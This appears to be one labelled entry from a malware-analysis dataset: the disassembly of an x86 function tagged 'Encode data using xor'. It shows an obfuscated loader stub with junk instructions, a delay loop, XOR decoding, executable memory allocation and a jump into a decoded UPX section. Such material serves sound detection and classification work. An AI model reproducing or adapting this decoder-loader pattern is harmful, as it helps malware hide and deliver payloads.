Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x15e37cc3
mov edi, 0x3a5c2557
add edx, 1
popal
dec edx
not edi
mov edi, edx
mov eax, 0
mov edx, ecx
sub ebx, 0x8a15f406
mov ebx, 0xe3e970f5
mov edi, edx
or ebx, ebx
not ebx
add esi, 0x7f49b578
mov ecx, edi
add ebx, esi
mov esi, ebx
inc eax
inc ebx
add esi, 0x993d1051
mov ebx, esi
cmp eax, 0x10092dd
jne 0xa789c8
add esi, esi
add ebx, 0x15639b30
sub edi, 0x748d7a9f
inc edi
or edx, edx
mov edi, 0xa78796
sub ebx, edx
not eax
mov ecx, 0xa7898a
sub eax, edx
inc edx
mov esi, dword [edi]
sub eax, edx
and eax, eax
inc edx
and esi, 0xff
sub edx, ebx
or eax, edx
add ebx, 0xe40896e0
xor dword [ecx], esi
sub eax, 0x13f9743d
sub edx, 0x4b3df8fb
inc ecx
not ebx
and edx, eax
not eax
inc edi
and eax, edx
inc eax
inc edx
cmp ecx, entry0
jl 0xa78a1f
sub edx, 0x7b3216f9
sub edx, ebx
add ebx, 0x5c200fb1
sub eax, edx
sub edx, eax
sub ecx, 0x69d7e2bd
add esi, 1
mov edi, 0xa7898e
sub ebx, 0x3ea6fe8b
not edx
mov edi, dword [edi]
or ecx, edx
not ebx
mov edi, dword [edi]
inc esi
sub esi, ebx
add ecx, esi
push edi
not ecx
inc edx
mov edi, 0xa7898a
sub edx, 0x818cea87
inc ebx
mov edi, dword [edi]
inc esi
or edx, ecx
mov edi, dword [edi]
and ebx, esi
sub ecx, ebx
sub esp, 4
mov dword [esp], 0xa78992
sub edx, ecx
and esi, esi
and ecx, ebx
call edi
sub edx, ebx
sub ebx, ecx
pop edi
inc ebx
and ebx, ebx
add ebx, ebx
push 0xa7899f
mov edx, esi
and ecx, ebx
push eax
mov edx, 0x23e09218
inc edx
mov esi, ecx
call edi
sub esi, ecx
and esi, ecx
push 0x40
add ecx, esi
sub ecx, 0x3cf819dc
push 0x3000
mov esi, 0x18e62044
mov ebx, 0x4f4570a2
sub esp, 4
mov dword [esp], 0x20000c3e
or ebx, esi
and ebx, esi
push 0
or edx, ecx
sub edx, ebx
add edx, ebx
call eax
sub ecx, edx
add ecx, 0x5a5eae9b
add eax, 0x20000b95
add edx, 0x76cf56c8
and esi, edx
mov edi, 0x4462b1dc
add edx, 0x85eb021f
sub esi, ecx
add edx, 0x7caf6424
mov dword [eax], edi
mov ebx, 0x8bb0bc2a
add ebx, 1
mov edi, dword [eax]
add ebx, esi
sub edx, 1
mov edx, ecx
cmp edi, 0x4462b1dc
je 0xa78b6b
mov eax, 0
mov dword [eax], ebx
or edx, edx
sub esi, edx
sub ecx, ebx
mov edx, ecx
dec edx
add edi, 0x62eec0d6
mov ecx, section.UPX1
inc edi
add edi, 0xe609b3a8
not edx
mov ebx, 0xa78795
add edx, 0xf1c704d5
add edx, edx
mov esi, 0
inc edx
add edi, 0xc425ebc9
sub edi, edx
mov eax, 0xa78796
add edx, edx
not edx
add edi, edi
lea eax, [esi + eax]
add edx, edx
not edi
dec edi
mov eax, dword [eax]
and edi, edi
sub edi, edx
add edx, 1
and eax, 0xff
mov edx, edi
sub edi, 0xfaf0d140
add esi, 1
dec edi
inc edi
mov edi, edx
cmp esi, 0x1f4
jne 0xa78be7
mov esi, 0
and edx, edi
mov edx, 0xf0e06e0c
mov edi, edx
add edi, 0x1934c449
xor dword [ecx], eax
sub edi, edx
add edi, 0x71a9051f
mov edi, 0xc2928df5
add ecx, 2
sub edx, edi
add edx, 0x5d25345c
inc edx
cmp ecx, ebx
jl 0xa78ba3
add edi, 1
or edi, edx
add edx, edx
add edx, 1
mov ecx, section.UPX1
sub eax, edi
or eax, edi
sub edi, eax
mov edx, section.UPX1
and eax, edi
and edi, eax
mov esi, 0xa78795
not edi
inc eax
mov ebx, 0
mov eax, 0xdf70115a
add eax, eax
dec edi
mov bl, byte [edx]
add edi, 0x33f98a0f
mov edi, eax
sub eax, edi
mov byte [ecx], bl
inc eax
add eax, 0xf8494e6a
sub edi, 0xd326693f
inc ecx
not eax
or edi, eax
not eax
add edx, 2
dec edi
or edi, edi
inc edi
cmp edx, esi
jle 0xa78c55
and edi, eax
mov eax, edi
sub edi, 0xf16d8c5d
add edi, edi
or edx, edi
sub esp, 4
mov dword [esp], 0x8dc6a0
sub edi, 0x2c9aea7c
add edi, 0x3f2875bd
ret